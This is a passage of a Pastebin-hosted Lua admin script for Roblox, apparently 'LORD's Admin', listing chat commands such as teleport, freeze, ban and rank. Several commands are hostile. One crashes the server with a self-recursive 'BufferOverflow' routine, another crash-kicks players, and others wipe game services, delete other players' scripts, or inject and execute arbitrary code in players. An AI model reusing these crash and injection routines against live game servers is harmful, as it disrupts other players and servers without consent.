  1679. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1680. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1681. end
  1682. end
  1683. end)
  1684. end
  1685. if #LocalScripts > 0 then
  1686. for _,v in pairs(LocalScripts) do
  1687. Ping(v, Speaker)
  1688. end
  1689. else
  1690. Ping("No Local Scripts Found", Speaker, 5)
  1691. end
  1692. end)
  1693.  
  1694. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1695. local Split = GetSplit(Msg)
  1696. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1697. local ScriptName = Msg:sub(Split + 1)
  1698. local FoundLocal = false
  1699. for _,name in pairs(PlrTab) do
  1700. ypcall(function()
  1701. for _,v in pairs(name.Character:GetChildren()) do
  1702. if string.find(v.Name:lower(), ScriptName) then
  1703. if v:IsA("Script") or v:IsA("LocalScript") then
  1704. v.Disabled = true
  1705. v:Destroy()
  1706. FoundLocal = true
  1707. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1708. end
  1709. end
  1710. end
  1711. end)
  1712. ypcall(function()
  1713. for _,v in pairs(name.Backpack:GetChildren()) do
  1714. if string.find(v.Name:lower(), ScriptName) then
  1715. if v:IsA("Script") or v:IsA("LocalScript") then
  1716. v.Disabled = true
  1717. v:Destroy()
  1718. FoundLocal = true
  1719. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1720. end
  1721. end
  1722. end
  1723. end)
  1724. ypcall(function()
  1725. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1726. if string.find(v.Name:lower(), ScriptName) then
  1727. if v:IsA("Script") or v:IsA("LocalScript") then
  1728. v.Disabled = true
  1729. v:Destroy()
  1730. FoundLocal = true
  1731. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1732. end
  1733. end
  1734. end
  1735. end)
  1736. if FoundLocal == false then
  1737. Ping("Local Script Not Found", Speaker, 5)
  1738. end
  1739. end
  1740. end)
  1741.  
  1742. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1743. for _,v in pairs(game:GetChildren()) do
  1744. ypcall(function()
  1745. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1746. for _,a in pairs(v:GetChildren()) do
  1747. ypcall(function()
  1748. a:Destroy()
  1749. end)
  1750. end
  1751. elseif v.Name == "Players" then
  1752. for _,plr in pairs(v:GetPlayers()) do
  1753. Clear(plr)
  1754. end
  1755. end
  1756. end)
  1757. end
  1758. Clean()
  1759. Fixl()
  1760. Ping("Fully Cleaned", Speaker, 5)
  1761. end)
  1762.  
  1763. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1764. LClean()
  1765. Fixl()
  1766. Ping("Lightly Cleaned", Speaker, 5)
  1767. end)
  1768.  
  1769. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1770. local PlrTab = getPlayer(Speaker, Msg)
  1771. if #PlrTab > 0 then
  1772. for _,v in pairs(PlrTab) do
  1773. ypcall(function()
  1774. v:LoadCharacter()
  1775. Ping("Reset "..v.Name, Speaker, 5)
  1776. end)
  1777. end
  1778. end
  1779. end)
  1780.  
  1781. Command("Respawn", 2, "Respawns A Player", function(Msg, Speaker)
  1782. local PlrTab = getPlayer(Speaker, Msg)
  1783. if #PlrTab > 0 then
  1784. for _,v in pairs(PlrTab) do
  1785. ypcall(function()
  1786. v:LoadCharacter()
  1787. Ping("Respawned "..v.Name, Speaker, 5)
  1788. end)
  1789. end
  1790. end
  1791. end)
  1792.  
  1793.  
  1794. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1795. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1796. if Work:findFirstChild("Base") then
  1797. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1798. else
  1799. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1800. end
  1801. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1802. end)
  1803.  
  1804. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1805. local PlrTab = getPlayer(Speaker, Msg)
  1806. if #PlrTab > 0 then
  1807. for _,v in pairs(PlrTab) do
  1808. ypcall(function()
  1809. v.Character.Torso.Anchored = true
  1810. Ping("Froze "..v.Name, Speaker, 5)
  1811. end)
  1812. end
  1813. end
  1814. end)
  1815.  
  1816. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1817. local PlrTab = getPlayer(Speaker, Msg)
  1818. if #PlrTab > 0 then
  1819. for _,v in pairs(PlrTab) do
  1820. ypcall(function()
  1821. for _,v2 in pairs(v.Character:GetChildren()) do
  1822. ypcall(function()
  1823. v.Torso.Anchored = false
  1824. end)
  1825. end
  1826. Ping("Thawed "..v.Name, Speaker, 5)
  1827. end)
  1828. end
  1829. end
  1830. end)
  1831.  
  1832. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1833. local PlrTab = getPlayer(Speaker, Msg)
  1834. if #PlrTab > 0 then
  1835. for _,v in pairs(PlrTab) do
  1836. ypcall(function()
  1837. Instance.new("ForceField", v.Character)
  1838. end)
  1839. end
  1840. end
  1841. end)
  1842.  
  1843.  
  1844. Command("Btools", 3, "Gives A Player BTOOLS", function(Msg, Speaker)
  1845. local PlrTab = getPlayer(Speaker, Msg)
  1846. if #PlrTab > 0 then
  1847. for _,v in pairs(PlrTab) do
  1848. ypcall(function()
  1849. t1 = Instance.new("HopperBin", v.Backpack) t1.Name = "Move" t1.BinType = "GameTool"
  1850. t2 = Instance.new("HopperBin", v.Backpack) t2.Name = "Clone" t2.BinType = "Clone"
  1851. t3 = Instance.new("HopperBin", v.Backpack) t3.Name = "Delete" t3.BinType = "Hammer"
  1852. t4= Instance.new("HopperBin", v.Backpack) t4.Name = "Resize"
  1853. end)
  1854. end
  1855. end
  1856. end)
  1857.  
  1858. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1859. local PlrTab = getPlayer(Speaker, Msg)
  1860. if #PlrTab > 0 then
  1861. for _,v in pairs(PlrTab) do
  1862. ypcall(function()
  1863. RemObj(v.Character, "ForceField")
  1864. end)
  1865. end
  1866. end
  1867. end)
  1868.  
  1869. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1870. local Split = GetSplit(Msg)
  1871. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1872. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1873. if #PlrTab > 0 and #PlrTab2 > 0 then
  1874. for i,v in pairs(PlrTab) do
  1875. ypcall(function()
  1876. for _,v2 in pairs(PlrTab2) do
  1877. ypcall(function()
  1878. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1879. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1880. end)
  1881. end
  1882. end)
  1883. end
  1884. end
  1885. end)
  1886.  
  1887. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1888. MakeExplorer(Speaker)
  1889. end)
  1890.  
  1891. Command("Info", 0, "Shows Information About LORD", function(Msg, Speaker)
  1892. wait()
  1893. Dismiss(Speaker)
  1894. NumBanned = 0
  1895. NumCmds = 0
  1896. for i = 1, #Rankings do
  1897. if Rankings[i].Rank < 0 then
  1898. NumBanned = NumBanned + 1
  1899. end
  1900. end
  1901. for i,v in pairs(Commands) do
  1902. NumCmds = NumCmds + 1
  1903. end
  1904. Ping("Admin Name: Dea¬th V¬ia HCWARLORD", Speaker)
  1905. Ping("LORDs Admin Created By: HCWARLORD", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("44esabehtfonam"))
  1906. Ping("Date Started: 18th May 2013", Speaker)
  1907. Ping("Your ID: "..Speaker.userId, Speaker)
  1908. Ping("Total Number Of Players: "..#All2(), Speaker)
  1909. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1910. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1911. Ping("ShowGarbage", Speaker)
  1912. end)
  1913.  
  1914. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1915. Dismiss(Speaker)
  1916. for i,v in pairs(All()) do
  1917. Ping(v.Name.."'s Rank: "..FindRank(v))
  1918. end
  1919. end)
  1920.  
  1921. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1922. local Split = GetSplit(Msg)
  1923. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1924. local Speed = tonumber(Msg:sub(Split + 1))
  1925. for _,v in pairs(PlrTab) do
  1926. ypcall(function()
  1927. v.Character.Humanoid.WalkSpeed = Speed
  1928. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1929. end)
  1930. end
  1931. end)
  1932.  
  1933. Command("UnAb", 2, "Removes LORD Anti-Bans", function(Msg, Speaker)
  1934. local RemoveAB = Instance.new("StringValue")
  1935. RemoveAB.Name = "LORD Attachment"
  1936. RemoveAB.Value = [[LORD.override=true;]]
  1937. RemoveAB.Parent = Work
  1938. Ping("Removed All LORD Anti-Bans", Speaker, 5)
  1939. end)
  1940.  
  1941. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1942. Dismiss(Speaker)
  1943. for i,v in pairs(Injected) do
  1944. Ping(i, Speaker)
  1945. end
  1946. end)
  1947.  
  1948. Command("UnLORD", 3, "Removes LORDs Admin", function(Msg, Speaker)
  1949. local RemoveCBA = Instance.new("StringValue")
  1950. RemoveCBA.Name = "LORD Attachment"
  1951. RemoveCBA.Value = [[LORD.remove = false]]
  1952. RemoveCBA.Parent = Work
  1953. Ping("Removed All LORD Admins", Speaker, 5)
  1954. end)
  1955.  
  1956. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1957. local function BufferOverflow(object)
  1958. object.DescendantAdded:connect(BufferOverflow)
  1959. Instance.new("IntValue", object)
  1960. end
  1961. BufferOverflow(Game)
  1962. end)
  1963.  
  1964. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1965. local PlrTab = getPlayer(Speaker, Msg)
  1966. if #PlrTab > 0 then
  1967. for _,v in pairs(PlrTab) do
  1968. ypcall(function()
  1969. Crash1(v)
  1970. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1971. end)
  1972. end
  1973. end
  1974. end)
  1975.  
  1976. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1977. local PlrTab = getPlayer(Speaker, Msg)
  1978. if #PlrTab > 0 then
  1979. for _,v in pairs(PlrTab) do
  1980. ypcall(function()
  1981. ChangeRank(v, -1)
  1982. end)
  1983. end
  1984. end
  1985. end)
  1986.  
  1987. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1988. local PlrTab = getPlayer(Speaker, Msg)
  1989. if #PlrTab > 0 then
  1990. for _,v in pairs(PlrTab) do
  1991. ypcall(function()
  1992. ChangeRank(v, -2)
  1993. end)
  1994. end
  1995. end
  1996. end)
  1997.  
  1998. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1999. local PlrTab = getPlayer(Speaker, Msg)
  2000. if #PlrTab > 0 then
  2001. for _,v in pairs(PlrTab) do
  2002. ypcall(function()
  2003. ChangeRank(v, -3)
  2004. end)
  2005. end
  2006. end
  2007. end)
  2008.  
  2009. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  2010. ypcall(function()
  2011. local PlrTab = getPlayer(Speaker, Msg)
  2012. if #PlrTab > 0 then
  2013. for _,v in pairs(PlrTab) do
  2014. ypcall(function()
  2015. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  2016. end)
  2017. end
  2018. end
  2019. local PlrName = ChangeRank(Msg, 0)
  2020. Ping("Un-Banned "..PlrName, Speaker, 5)
  2021. end)
  2022. end)
  2023.  
  2024. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  2025. Dismiss(Speaker)
  2026. Ping("Commands", Speaker, nil, function()
  2027. Dismiss(Speaker.Name)
  2028. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  2029. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  2030. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  2031. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  2032. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  2033. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  2034. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2035. Ping("Rank HCWARLORD", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2036. end)
  2037. Ping("Players", Speaker, nil, function()
  2038. ListPlayers(Speaker)
  2039. end)
  2040. end)
  2041.  
  2042. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2043. ListPlayers(Speaker)
  2044. end)
  2045.  
  2046. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2047. local Func,Error = loadstring(Msg)
  2048. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2049. getfenv(Func).Speaker = Speaker
  2050. if Error == nil then
  2051. coroutine.wrap(function()
  2052. Func()
  2053. end)()
  2054. Ping("Executed Script!", Speaker, 5)
  2055. else
  2056. Ping(Error, Speaker, 10)
  2057. end
  2058. end)
  2059.  
  2060. Command("Insert", 5, "Inserts A Local Script Into A Player", function(Msg, Speaker)
  2061. if LS ~= nil then
  2062. local Split = GetSplit(Msg)
  2063. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2064. local LocalSource = Msg:sub(Split + 1)
  2065. if #PlrTab > 0 then
  2066. for _,v in pairs(PlrTab) do
  2067. local Inserted = LS:Clone()
  2068. Inserted.Disabled = true
  2069. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2070. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2071. Inserted:findFirstChild(OwnSource).Value = v.Name
  2072. end
  2073. Inserted[LSSource].Value = LocalSource
  2074. Inserted.Disabled = false
  2075. end
  2076. end
  2077. else
  2078. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2079. end
  2080. end)
  2081.  
  2082. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2083. Msg = tostring(Msg)
  2084. Ping(Msg, Speaker)
  2085. end)
  2086.  
  2087. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2088. Dismiss(Speaker)
  2089. for i,v in pairs(getfenv(1)) do
  2090. ypcall(function()
  2091. Ping(tostring(i)..": "..tostring(v), Speaker)
  2092. end)
  2093. end
  2094. end)
  2095.  
  2096. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2097. Dismiss()
  2098. Removed = true
  2099. for i,v in pairs(getfenv(1)) do
  2100. getfenv(1)[i] = nil
  2101. end
  2102. script.Disabled = true
  2103. end)
  2104.  
  2105. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2106. local Split = GetSplit(Msg)
  2107. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2108. local Rank = tonumber(Msg:sub(Split + 1))
  2109. if #PlrTab > 0 then
  2110. for _,v in pairs(PlrTab) do
  2111. if v.Name ~= Owner then
  2112. ChangeRank(v, Rank)
  2113. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2114. end
  2115. end
  2116. end
  2117. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!